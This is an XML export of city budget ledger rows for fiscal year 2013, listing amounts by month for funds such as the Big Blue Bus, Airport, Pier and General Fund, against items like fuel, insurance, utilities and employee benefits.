<row _id="2285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="2286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1944.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1944.0</total></row>
<row _id="2287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNREALIZED GAIN / LOSS</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>69742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>69742.0</total></row>
<row _id="2288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402700.0</object><object_description>REGULAR FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-450000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-450000.0</total></row>
<row _id="2289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405760.0</object><object_description>ENHANCEMENT PURCHASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-105000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-1047</april><may>0</may><june>0.0</june><total>-106047.0</total></row>
<row _id="2290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2004.0</july><august>0</august><september>0.0</september><october>-12.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1992.0</total></row>
<row _id="2291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>79275.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79275.0</total></row>
<row _id="2292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12024.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12024.0</total></row>
<row _id="2293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>626.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>626.0</total></row>
<row _id="2294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5638.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5638.0</total></row>
<row _id="2295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>16700</april><may>0</may><june>0.0</june><total>16700.0</total></row>
<row _id="2296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>408170.0</object><object_description>HUD COMMUNITY CHALLENGE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-370069.17</march><april>0</april><may>0</may><june>0.0</june><total>-370069.17</total></row>
<row _id="2297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>379816.0</july><august>0</august><september>0.0</september><october>-954.0</october><november>0</november><december>0</december><january>0.0</january><february>3789</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>382651.0</total></row>
<row _id="2298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9836.0</july><august>0</august><september>0.0</september><october>-80.0</october><november>0</november><december>0</december><january>0.0</january><february>98</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9854.0</total></row>
<row _id="2299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3873.0</july><august>0</august><september>0.0</september><october>75.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3948.0</total></row>
<row _id="2300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="2301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
<row _id="2302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14018.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14018.0</total></row>
<row _id="2303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19000.0</total></row>
<row _id="2304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>74831.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>74831.0</total></row>
<row _id="2305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2477.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2477.0</total></row>
<row _id="2306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11944.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11944.0</total></row>
<row _id="2307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4413.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4413.0</total></row>
<row _id="2308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4428.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4428.0</total></row>
<row _id="2309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566610.0</object><object_description>PROCESS &amp; HAULING EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2400000.0</total></row>
<row _id="2311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-40000.0</july><august>0</august><september>0.0</september><october>40000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-10366.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10366.0</total></row>
<row _id="2313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1459.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1459.0</total></row>
<row _id="2314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-14849.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14849.0</total></row>
<row _id="2315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3818.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3818.0</total></row>
<row _id="2316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1005.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1005.0</total></row>
<row _id="2317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2402.0</july><august>0</august><september>0.0</september><october>628.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1774.0</total></row>
<row _id="2318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1312</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7438.0</total></row>
<row _id="2319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>544.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>26</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>570.0</total></row>
<row _id="2320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10585.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>234</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10819.0</total></row>
<row _id="2321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5325.0</total></row>
<row _id="2322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12395.0</july><august>-397</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-823</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11175.0</total></row>
<row _id="2323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2167.0</july><august>-72</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-85</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2010.0</total></row>
<row _id="2324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>280247.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>280247.0</total></row>
<row _id="2325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1939.0</july><august>610</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1244</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3793.0</total></row>
<row _id="2326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>68653.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5298</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>73951.0</total></row>
<row _id="2327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5139.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>100</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5239.0</total></row>
<row _id="2328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16236.0</july><august>414</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16650.0</total></row>
<row _id="2329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>254974.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>254974.0</total></row>
<row _id="2330"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2849.0</july><august>1122</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2243</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6214.0</total></row>
